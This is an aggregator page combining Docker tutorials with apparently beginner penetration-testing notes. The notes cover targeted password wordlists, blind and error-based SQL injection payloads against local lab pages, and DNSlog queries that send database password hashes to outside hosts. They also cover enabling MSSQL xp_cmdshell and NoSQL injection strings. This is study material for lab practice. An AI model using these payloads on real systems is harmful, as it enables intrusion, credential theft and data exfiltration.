GVKun编程网logo

2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记

24

本文将为您提供关于2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记的详细介绍,同时,我们还将为您提供关于01-docker使用、1.docker学习笔记之

本文将为您提供关于2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记的详细介绍,同时,我们还将为您提供关于01-docker使用、1.docker 学习笔记之入门,docker 在 centos7 下的安装以及基础命令的使用、2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记、2019-10-31:渗透测试,基础学习,mongodb注入学习的实用信息。

本文目录一览:

2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记

2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记

pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典
生成字典
python3 pydictor.py -base d --len 4 4 生成纯数字4位密码
python3 pydictor.py -base L --len 1 4 -o name.txt 生成1-4位纯字母字典,长度为1-4位,输出名字文件为 name.txt
python3 pydictor.py -extend F:\工具\pydictor\ex.txt --level 3 --len 3 10 -o sym.txt 根据提前给出的关于要作的攻击对象的信息文件,level过滤结果的级别为3,生成长度为3-10位的字典,文件名为sym.txt,密码内容是弱口令+用户信息+过滤机制
python3 pydictor.py -extend F:\工具\pydictor\ex.txt 3 --len 3 10 --encode sha1 -o mima.txt ,生成sha1加密的字典,--encode 生成加密字典
python3 pydictor.py --sedb 接下来输入收集的信息,最后可以设置输出路径,再运行生成社工字典,设置收集的信息使用 set enname test,ouput路径,设置输出路径,run运行

cupper,针对国人的社工密码生成器
cupper -i 交互式输入收集的信息生成字典

wordhound 基于推特搜索,pdf文档,reddit子网创建字典

brutescrape,基于网站爬取的密码生成,编辑sites.scrape文件,添加要生成密码的网站连接,运行python brutescrape.py即可

docker入门及漏洞环境搭建
开源的应用程序容器引擎,使用go语言开发,借助于docker打包的应用程序,将这些应用程序包含在容器下,在容器中实现虚拟化,容器使用的是沙箱机制,沙箱之间相互独立,占用资源非常少

docker的三个概念
镜像:image,docker镜像,是一个只读模版,镜像可以创建容器,比如在镜像中包含完整的操作系统,在该操作系统中,可以安装lamp环境,镜像可以创建容器
容器:container,docker利用容器来运行应用程序,容器是从镜像中创建运行的实例,容器可以运行,关闭,删除
仓库:repository,集中放镜像的地方,每个仓库可包含了多个镜像,可以私有可以公开,最大的仓库是dockerhub(hub.docker.com)
1,更新源,apt-get install docker.io
2,替换加速器,vim /etc/docker/daemon.json
{
"registry-mirrors": [
"https://dockerhub.azk8s.cn",
"https://reg-mirror.qiniu.com"
]
}
docker info 查看配置

docker镜像操作命令
docker serrch mysql,搜索mysql镜像
docker pull 镜像名称,下载镜像
docker images 查看本地下载好的镜像
docker rmi 镜像id,删除镜像

docker容器操作命令
docker run -d -p 8080:80 --rm --name 容器名 镜像id
run 运行
-d 表示后台运行
-p 1端口:2端口,将容器内部服务2端口,映射到本地1端口,如果-p后不手动设置端口,会随机分配端口
rm 当容器停止会自动删除
--name 容器运行成功之后,容器名称
镜像id或镜像名
docker ps 查看当前运行的容器
docker ps -a查看所有运行的容器的状态
docker stop 容器名或容器Id,停止容器
docker start 容器id,打开容器,如果运行容器时候加--rm就会在关闭的时候自动删除
docker rm 容器名称或容器id,删除容器
docker exec -it 容器名或容器id /bin/bash 进入容器内部,-it表示交互模式 ,输入exit退出容器

导入导出镜像
docker save 镜像id > 名字.tar ,导出镜像
docker load < 容器名字.tar ,导入镜像


sql注入盲注
用户提交的数据在后台数据库执行之后,没有返回任何数据到前端,无法在前端显示,需要使用盲注

基于布尔型盲注
1,探测输入点,''/1'' and 1=1%23 /1'' and ''1''=''1
注意,用户提交的数据被带入到数据库中执行,根据页面显示效果判断此处是否有注入点
2,收集数据库信息,当前用户名,当前数据库,数据库版本,所有数据库,等
http://127.0.0.1/sqli/Less-8/index.php?id=1'' and length(user())=14%23
可以使用bp抓包,猜测出当前用户名长度,数据库长度等
http://127.0.0.1/sqli/Less-8/index.php?id=1'' and ascii(substr(user(),1,1))=1%23
判断用户名首字母首字符
127.0.0.1/sqli/Less-8/index.php?id=1'' and ascii(substr(user(),2,2))=114%23,后续依次判断,可以使用BP,看到pyload2位置的数字,转码之后得到当前用户是root@localhost
3,判断当前数据库
http://127.0.0.1/sqli/Less-8/index.php?id=1'' and ascii(substr(user(),2,2))=114%23,bp爆破之后,看pyload2位置数字,转码之后得到数据库为secutity数据库
查询当前数据库的表
先计算某个表的名字长度
再判断表中的每个字符
http://127.0.0.1/sqli/Less-8/index.php?id=1'' and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=101%23,bp爆破,判断出security中表有emails,users,等
4,获取制定表的字段名
http://127.0.0.1/sqli/Less-8/index.php?id=1'' and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=101%23,bp爆破得出字段名首字母是i
最后依次判断第一个字段名,第二个字段名
最后找出敏感的字段,比如 username password
5,获取指定字段的值
http://127.0.0.1/sqli/Less-8/index.php?id=1'' and ascii(substr((select group_concat(username,0x7e,password) from users limit 0,1),1,1))=105%23
6,解密密文数据,登录后台

01-docker使用

01-docker使用

docker 常用命令

指令 说明
docker images 查看已经下载的镜像
docker rmi 镜像名称:标签名 删除已经下载的镜像
docker search 镜像 从官方仓库中查看镜像
docker pull 镜像:版本 从官方仓库中下载的镜像,如果没有版本号默认下载最新版本laster
docker run 创建镜像容器
docker ps 列出运行中的容器
docker ps -a 列出所有容器
docker rm 容器名或者容器ID 删除容器
docker rm -f 容器名或者容器ID 强制删除容器
docker start/stop/restart 容器名或者容器ID 启动/停止/重启容器
docker exec 交互模式使用容器

docker 详细解析

docker images [option]

 -a:列出本地所有镜像
 --digest:显示镜像摘要 
 -f:显示满足条件的镜像
 --format:指定返回值的模版文件
 --no-trunc:显示完整的镜像信息
 -q:只显示镜像ID

docker rmi [option] 镜像:版本号

-f:强制删除
--no-prune:不移除该镜像的过程镜像,默认是删除的

docker pull [option] 镜像:版本号

-a: 拉取所有版本镜像

docker rm [option] 容器名

-f:强制删除
-l:移除与容器间的网络联通,非容器本身
-v:删除与容器关联的卷

docker cp 原文件:目标目录

# 电脑文件复制到容器
docker cp 当前路径下的文件或者绝对路径下的文件:容器ID下的绝对路径
# 容器文件复制到电脑上
docker cp 容器ID下的绝对路径下的文件:当前路径或者绝对路径
-d: 后天运行容器并返回容器ID
-i:以交互模式运行容器通常与-t同时使用
-t:为容器重新分配一个伪输入终端通常与-i同时使用
--name:为容器指定一个名称
-e:xxx=xxx 设置环境变量
-m:设置容器使用内容最大值
-link:添加链接到另一个容器
-p:开放一个端口
--rm:容器结束自动删除

1.docker 学习笔记之入门,docker 在 centos7 下的安装以及基础命令的使用

1.docker 学习笔记之入门,docker 在 centos7 下的安装以及基础命令的使用

1、更新update到最新的版本  
    yum  update
2、卸载老版本docker
    yum  remove docker  docker-common docker-selinux  docker-engine
3、安装需要的软件包
    yum install -y yum-utils  device-mapper-persistent-data lvm2
4、设置yum源
    yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
5、查看docker版本
    yum list docker-ce --showduplicates|sort -r  

6、安装docker
    yum  install  docker-ce-18.03.1.ce -y  #yum  install docker-ce-3:20.10.9-3.el8
7、启动docker
    systemctl start docker
8、加入开机自启
    systemctl enable docker

9、配置国内镜像

    vi /etc/docker/daemon.json 
    {
        "registry-mirrors": ["http://hub-mirror.c.163.com"]
    }
Docker 包括三个基本概念:
镜像(Image)
容器(Container)
仓库(Repository)

如若以上操作 中出现错误

则强制安装此版本

yum install https://download.docker.com/linux/centos/8/x86_64/stable/Packages/containerd.io-1.4.3-3.1.el8.x86_64.rpm

1.启动
 docker start 容器名
2.删除
   docker rm 容器名
3.停止所容器
  docker stop  $(docker ps -a -q)
  docker rm  $(docker ps -a -q) 

4.docker build -t 名称 .
  Usage:docker build [OPTIONS] PATH | URL | -

  OPTIONS:
  -t ,--tag list  #构建后的镜像名称
  -f, --file string #指定Dockerfiile文件位置
    示例:
     1,docker build . 
     2,docker build -t redis:v1 .
     3,docker build -t redis:v2 -f /path/Dockerfile /path

Dockerfile 快速入门指令

  1.FROM 指定基础镜像

    所谓定制镜像,那一定是以一个镜像为基础,在其上进行定制。就像我们之前运行了一个redis镜像的容器,再进行修改一样,基础镜像是必须指定的。而 FROM 就是指定基础镜像,因此一个  Dockerfile  中  FROM  是必备的指令,并且必须是第一条指令。
     Docker Store 上有非常多的高质量的官方镜像,有可以直接拿来使用的服务类的镜像,如nginx  、 redis  、 mongo  、 mysql  、 httpd  、 php  、 tomcat  等;如果没有找到对应服务的镜像,官方镜像中还提供了一些更为基础的操作系统镜像,
    如ubuntu  、 debian  、 centos、 alpine 等这些操作系统的软件库

  2、RUN 执行命令

    RUN  指令是用来执行命令行命令的。
    格式:
      RUN \<command\> (类似/bin/sh -cshell格式)

      RUN ["executable", "param1", "param2"] (exec格式)

    类似shell脚本风格的:
        FROM alpine
        RUN sed -i ''s/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g'' /etc/apk/repositories
        RUN apk add  gcc g++ libc-dev  wget vim  openssl-dev make  linux-headers 
        RUN mkdir -p /usr/src/redis
        RUN cd /usr/src/redis
        RUN wget -O redis-4.0.11.tar.gz  "http://download.redis.io/releases/redis-4.0.11.tar.gz"
        RUN tar -xzf redis-4.0.11.tar.gz -C /usr/src/redis
        RUN cd /usr/src/redis/redis-4.0.11 &&  make && make PREFIX=/usr/local/redis install
    之前说过,Dockerfile 中每一个指令都会建立一层, RUN  也不例外。每一个  RUN  的行为,就和刚才我们手工建立镜像的过程一样:新建立一层,在其上执行这些命令,执行结束后, commit这一层的修改,构成新的镜像。使用 Dockerfile 定制镜像
    而上面的这种写法,创建了很多层镜像。这是完全没有意义的,而且很多运行时不需要的东西,都被装进了镜像里,比如编译环境、更新的软件包等等。结果就是产生非常臃肿、非常多层的镜像,不仅仅增加了构建部署的时间,也很容易出错。 这是很多初学
    Docker 的人常犯的一个错误。Union FS是有最大层数限制的,比如 AUFS,曾经是最大不得超过 42 层,现在是不得超过 127 层。

 

导出容器

 导出容器可以导出一个已经创建的容器到一个文件,不管容器处于什么状态,可以使用docker export 命令。 命令格式为:docker export [-o|--output[=""]] CONTATINER 其中可以通过-o来指定导出的tar文件名,也可以直接通过重定向来实现。

另一种格式为:docker export 容器 id/name > 文件名.tar

导入容器

  导入的文件可以使用docker import 命令导入变成镜像,该命令的格式为:

   docker import [-c|--change[=[]]] [-m|--message[=MESSAGE]] file|URL|-[REPOSITORY[:YAG]]

   其中-c 选项可以在导入的同时执行对容器进行修改的Dockerfile指令(网络等修改)

另外 docker save&load 命令也可以导入一个镜像存储文件,但是跟 docker import 命令是有区别的

 

用 export&import 还是 save & load ?

export&import 和 save & load 是 docker 中的两组命令,我们先主要看看他们的区别:

类型 导出的对象 导出文件大小 是否可回滚到历史层
export & import 将容器导出
save & load 用来将一个或者多个 image 打包
  相对于文件大小来说,save方式导出的文件比export方式导出的文件大
  正是因为save方式保存了镜像的历史和层(layer),使其可以层回滚,即回滚到之前的历史层,所以save方式导出的文件稍微大一些
  反观export方式,在导出过程中丢失所有的历史,导致其不可以层回滚,导出的文件会小一些
  可以通过 docker history 镜像名 看到层关系

3.2、容器网络

Docker 安装后,默认会创建下面三种网络类型

docker network ls 查看默认的网络

在启动容器时使用 --network bridge 指定网络类型

bridge:桥接网络

默认情况下启动的 Docker 容器,都是使用 bridge,Docker 安装时创建的桥接网络,每次 Docker 容器重启时,会按照顺序获取对应的 IP 地址,这个就导致重启下,Docker 的 IP 地址就变了

none:无指定网络 使用 --network=none ,docker 容器就不会分配局域网的 IP

host: 主机网络 使用 --network=host,此时,Docker 容器的网络会附属在主机上,两者是互通的。 例如,在容器中运行一个 Web 服务,监听 8080 端口,则主机的 8080 端口就会自动映射到容器中

3.3、 指定自定义网络

因为默认的网络不能制定固定的地址,所以我们将创建自定义网络,并指定网段(IP 可以理解为 4 组 8 个二进制组成的一段代码,然后右侧网段的 24 是指锁定前面 24 位,也就是说生成的 IP 会是 192.168.1.X,1-255):192.168.1.0/24 并命名为 mynetwork,指令如下:
docker network create --subnet=192.168.1.0/24 mynetwork

使用此 docker 镜像 创建容器

代码如下:

docker run -itd --name redis-master --net mynetwork -p 6380:6379 --ip 192.168.1.2 redis 

参数说明: 具体可以参看一些文档
http://www.runoob.com/docker/docker-run-command.html 

http://www.dockerinfo.net/docker%E5%AE%B9%E5%99%A8-2

-d: 后台运行容器,并返回容器ID; -i: 以交互模式运行容器,通常与 -t 同时使用; -p: 端口映射,格式为:主机(宿主)端口:容器端口 -t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用; -V: 为容器挂载目录,比如 /usr/docker/data:/data 前者为数宿主机目录后者为容器内目录 --ip: 为容器制定一个固定的ip --net: 指定网络模式 这样,我们创建了2个容器,来一起查看下结果 docker ps -a 查看容器ip地址 docker network inspect mynetwork

 

docker build -t redis-test . #在文件夹中用默认的 Dockerfile 创建镜像

docker images #查看当前 docker 镜像

docker history 625dcdca8ecb #查看某个镜像的历史

docker ps -a #查看当前运行的容器

docker run -itd -p 8001:80 -v xxx1:xxx2 --name redis-master redis-test #使用镜像(redis-test)运行容器(redis-master) 宿主机 8001 端口映射到容器 80 端口 宿主机 xxx1 地址与容器 xxx2 地址共享(容器写入 xxx2 的数据同样会出现在宿主机的 xxx1 里)

docker rm 538265c49277 #移除容器

docker exec -it redis-master bash #进入容器 (如果出现:OCI runtime exec failed: exec failed: container_linux.go:348: starting container process caused "exec: \"bash\": executable file not found in $PATH": unknown ,那么就把 bash 改为 sh :docker exec -it redis-master sh)

docker stop $(docker ps -a -q) #停止全部容器(-q 返回容器 id)

docker rm $(docker ps -a -q) #移除所有容器

docker rmi $(docker images -q) #删除所有镜像

docker export f4092a93c312 > nginx-jzy.tar #docker export 容器 id > 文件名.tar   导出容器(镜像快照)

docker import nginx-jzy.tar nginx-jzy:v2 #使用镜像快照创建镜像,创建的镜像没有 history

docker run -itd --name nginx-jzy-v2 e70d288bc4ef bash #使用上面创建的镜像创建容器,这里必须要有 bash 或者其他可以被挂载的进程

docker save a68a3617e7dd > nginx-jzy-save.tar #保存镜像

docker rmi a68a3617e7dd #删除镜像,因为上面导出容器使用的是这个镜像,所以生成了一个依赖这个镜像的镜像 删除失败了(Error response from daemon: conflict: unable to delete a68a3617e7dd (cannot be forced) - image has dependent child images)

docker image inspect --format=''{{.RepoTags}} {{.Id}} {{.Parent}}'' $(docker image ls -q --filter since=a68a3617e7dd) #找出 from 这个镜像的子镜像([nginx-jzy:v2] sha256:e70d288bc4ef3f20015ca839653c1c1555ee7b2524e4085845348c7d990eb998)

docker rmi -f e70d288bc4ef #删除子镜像失败(Error response from daemon: conflict: unable to delete e70d288bc4ef (cannot be forced) - image is being used by running container be7eea6f8a9b)

docker stop be7eea6f8a9b #停止容器

docker rm be7eea6f8a9b #删除容器

docker rmi -f e70d288bc4ef #删除子镜像成功

docker rmi a68a3617e7dd #删除镜像成功

docker load < nginx-jzy-save.tar #读取保存的镜像文件(生成的镜像文件是有 history 的)

docker inspect imageid #查看镜像详情

 docker network ls #查看网络列表

docker network inspect id1 #查看网络 id 为 id1 的信息

docker network create --subnet=192.168.1.0/24 redis-network #新增网络连接方式(增加网段)

docker run -itd --name redis-test2 --network=redis-network --ip 192.168.1.3 -p 6381:6379 -v /usr/docker/redis/conf/:/usr/src/redis/conf/redis #根据之前的 redis 镜像生成 redis-test2 容器 使用自定义的 redis-network 网络,指定 ip(必须在网段内),指定端口映射,指定共享文件夹

iptables -t nat -L -n #查看桥接网络

1. 为什么系统镜像那么小呢? 因为 docker 镜像在运行的时候直接使用 docker 宿主机器的 kernel,Linux 操作系统由内核空间和用户空间组成。

内核空间是 kernel,用户空间是 rootfs, 不同 Linux 发行版的区别主要是 rootfs. 比如 Ubuntu 14.04 使用 upstart 管理服务,apt 管理软件包; 而 CentOS 7 使用 systemd 和 yum。这些都是用户空间上的区别,Linux kernel 差别不大。所以 Docker 可以同时支持多种 Linux 镜像, 模拟出多种操作系统环境。容器共同使用镜像的内容(如果发生更改先复制镜像层到容器层然后再修改)

2. 镜像的文件如何存储的?

镜像文件是分层存储的,我们可以通过 docker history 命令查看到镜像的历史,也就是层

启动镜像的时候,一个新的可写层会加载到镜像的顶部。这一层通常称为 “容器层”, 之下是 “镜像层”。
容器层可以读写,容器所有发生文件变更写都发生在这一层。镜像层 read-only, 只允许读取。

Container 最上面是一个可写的容器层,以及若干只读的镜像层组成,Container 的数据就存放在这些层中,这样的分层结构最大的特性是 Copy-On-Write (写时复制):

    新数据会直接存放在最上面的 Container 层。

    修改现有的数据会先从 Image 层将数据复制到容器层,修改后的数据直接保存在 Container 层,Image 层保持不变。

3. 启动的容器会占用大量空间吗?

    创建镜像的时候,分层可以让 docker 只保存我们添加和修改的部分内容。其他内容基于 base 镜像,不需要存储,读取 base 镜像即可。如此,当我们创建多个镜像的时候,所有的镜像共享 base 部分。节省了磁盘空间

    docker 通过一个叫做 copy-on-write (CoW) 的策略来保证 base 镜像的安全性,以及更高的性能和空间利用率

    简单的说,启动容器的时候,最上层容器层是可写层,之下的都是镜像层,只读层。

    当容器需要读取文件的时候:从最上层镜像开始查找,往下找,找到文件后读取并放入内存,若已经在内存中了,直接使用。(即,同一台机器上运行的 docker 容器共享运行时相同的文件)。

    当容器需要添加文件的时候:直接在最上面的容器层可写层添加文件,不会影响镜像层。

    当容器需要修改文件的时候:从上往下层寻找文件,找到后,复制到容器可写层,然后,对容器来说,可以看到的是容器层的这个文件,看不到镜像层里的文件。容器在容器层修改这个文件。

    当容器需要删除文件的时候:从上往下层寻找文件,找到后在容器中记录删除。即,并不会真正的删除文件,而是软删除。

    综上,Docker 镜像通过分层实现了资源共享,通过 copy-on-write 实现了文件隔离。

 

    

2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记

2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记

sqlmap参数
--file-read,从数据库服务器中读取文件
--file-write,--file-dest,把文件上传到数据库服务器中

dnslog平台的学习和它在盲注中的应用
1,判断注入点
2,测试网站对DNSlog提供的url是否解析
SELECT LOAD_FILE(CONCAT(''\\\\'',(SELECT password FROM mysql.user WHERE user=''root'' LIMIT 1),''.mysql.ip.port.b182oj.ceye.io\\abc''));
SELECT LOAD_FILE,可以读文件,做DNS请求
例子,select load_file(group_concat(''\\\\'',(select concat(user,password)from users limit 3,1),''.6rylw1tbh2htjx3hap90nqqj8ae02p.burpcollaborator.net..\\aaa''));
如果网站的响应时间长的话,说明可以解析
3,使用concat拼接url和sql语句来注入得到数据

mssql手工注入
1,判断注入点,http://192.168.190.148/less-1.asp?id=1'',提示 ''1'''' 后的引号不完整。 说明有注入点
2,判断数据库类型,http://192.168.190.148/less-1.asp?id=1'' and exists(select * from sysobjects)-- ,有结果没报错说明后台数据库是sql server
还有其他方法,常用框架组合方法,例如常见的,asp+mssql,php+mysql/页面报错信息
3,select IS_SRVROLEMEMBER(''sysadmin''); 判断当前是否为sa,http://192.168.190.148/less-1.asp?id=1'' and (select IS_SRVROLEMEMBER(''sysadmin''))>0-- 页面没报错说明是sa账户
select is_srvrolemember(''db_owner''); 判断当前用户写文件、读文件的权限(db_owner),http://192.168.190.148/less-1.asp?id=1'' and (select is_srvrolemember(''db_owner''))>0--,页面没返回信息说明数据库没读写权限
select is_srvrolemember(''public'');判断是否有public权限,可以爆破表,http://192.168.190.148/less-1.asp?id=1'' and (select is_srvrolemember(''public''))>0-- 页面正常显示,说明有public权限
4,信息收集,当前数据库,数据库版本,
http://192.168.190.148/less-1.asp?id=1'' and (select @@version)=1 --,会报错,返回结果会出来sql server版本
,http://192.168.190.148/less-1.asp?id=1'' and (user)=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 ''dbo'' 转换成数据类型 int 时失败。 爆出当前用户是dbo
http://192.168.190.148/less-1.asp?id=1'' and (select db_name())=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 ''test'' 转换成数据类型 int 时失败。 ,爆出当前数据库是test
SELECT db_name(0);函数从0开始,0为当前数据库,将db_name函数下的参数改变,可以爆出所有的数据库
http://192.168.190.148/less-1.asp?id=1'' and (select top 1 name from master..sysdatabases where name not in (''aspcms'',''master'',''model'')) >1--
select top 3 name from master..sysdatabases;可以查询所有数据库,加上条件,where name not in (''db_name'',''dbname'') 表示找到的结果不在设置的集合,就可以爆出所有数据库
5,获取当前数据库的表
http://192.168.190.148/less-1.asp?id=1''and (SELECT top 1 name from test.sys.all_objects where type=''u'' and is_ms_shipped=0)>1-- ,获取第一个表名 emails
http://192.168.190.148/less-1.asp?id=1''and (SELECT top 1 name from test.sys.all_objects where type=''u'' and is_ms_shipped=0 and name not in (''emails''))>1-- ,获取除去emalis之后第一个表,not in里依次增加爆出的表,得到所有表
6,获取当前数据库指定表的字段
http://192.168.190.148/less-1.asp?id=1'' and (select top 1 column_name from test.information_schema.columns where table_name=''users'')>1 --获取第一个字段
http://192.168.190.148/less-1.asp?id=1'' and (select top 1 column_name from test.information_schema.columns where table_name=''users'' and column_name not in (''id''))>1 --,获取除了id之外的第一个字段,not in后依次增加字段就可以获得所有字段名
http://192.168.190.148/less-1.asp?id=1''and (select top 1 name from syscolumns where id =OBJECT_ID(''users''))>1--,获取第一个字段
http://192.168.190.148/less-1.asp?id=1''and (select top 1 name from syscolumns where id =OBJECT_ID(''users'')and name not in (''id''))>1--,获取除了id之外的第一个字段,not in依次增加直到获取所有字段
7,获取表中指定字段的值
http://192.168.190.148/less-1.asp?id=1'' and (select top 1 username from users)>1 --,获取指定字段的数据,字段只能1个1个修改注入

mssql的xp_cmdshell扩展
Select count(*) FROM master. dbo.sysobjects Where xtype =''X'' AND name = ''xp_cmdshell'',查询xp_cmdshell扩展是否打开
exec master..xp_cmdshell ''whoami'' 调用xp_cmdshell扩展
提示报错,SQL Server 阻止了对组件 ''xp_cmdshell'' 的 过程''sys.xp_cmdshell'' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ''xp_cmdshell''。有关启用 ''xp_cmdshell'' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。打开查询分析器,执行即可
EXEC sp_configure ''show advanced options'', 1;
RECONFIGURE;
EXEC sp_configure ''xp_cmdshell'', 1;
RECONFIGURE;

2019-10-31:渗透测试,基础学习,mongodb注入学习

2019-10-31:渗透测试,基础学习,mongodb注入学习

mongodb命令
删除文档,db.集合名.remove({键:值})
更新文档,db.集合名.update({被更新的对象},{$set:{要更新的内容}}),默认只更新检测到的第一条文档
更新全部匹配到的文档,db.集合名.update({被更新的对象},{$set:{更新的内容}},{multi :ture})

mongodb的大于小于
等于,{1:1},冒号
小于,{0:{$lt:1}},0小于1
小于或等于,{0:{$lte:1}},0小于或等于1
大于{1:{$gt:0}},1大于0
大于或等于{1:{$gte:0}},1大于或等于0
不等于{1:{$ne:0}},1不等于0
{1:{$gt:0},$or:[{1:1},{0:0}]},1大于0 and (1=1) or 0=0
db.col.find({},{"title":1,_id:0}).sort({"likes":-1}),col集合中的数据按字段likes降序排列
db.col.find({},{"title":1,_id:0}).sort({"likes":1}),col集合中的数据按字段likes降序升序排列

正则匹配:$regex 操作符来设置匹配字符串的正则表达式
db.集合名.find({name:{$regex:"^h"}}),正则查询以h开头的,^表示以什么开头

nosql注入javascript注入,js语句下直接插入恶意代码达到攻击的目的
重叠式,永真式注入
username[$ne]=1&password[$ne]=1
username=1''return true; var b=''$password=1

 

shell拼接注入mongodb
使用“‘等闭合查询语句,之后插入需要执行的语句,就执行任意的语句,要成功需要知道数据库中集合的名字
db.messages.find({"author":" "}).sort({"addtime":-1})
"});db.messages.insert({"name":"hahaha"});db.messages.find({"author":"2

使用BP进行注入攻击获取数据
需要使用$regex去获取系统中的数据

 

我们今天的关于2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记的分享已经告一段落,感谢您的关注,如果您想了解更多关于01-docker使用、1.docker 学习笔记之入门,docker 在 centos7 下的安装以及基础命令的使用、2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记、2019-10-31:渗透测试,基础学习,mongodb注入学习的相关信息,请在本站查询。

本文标签: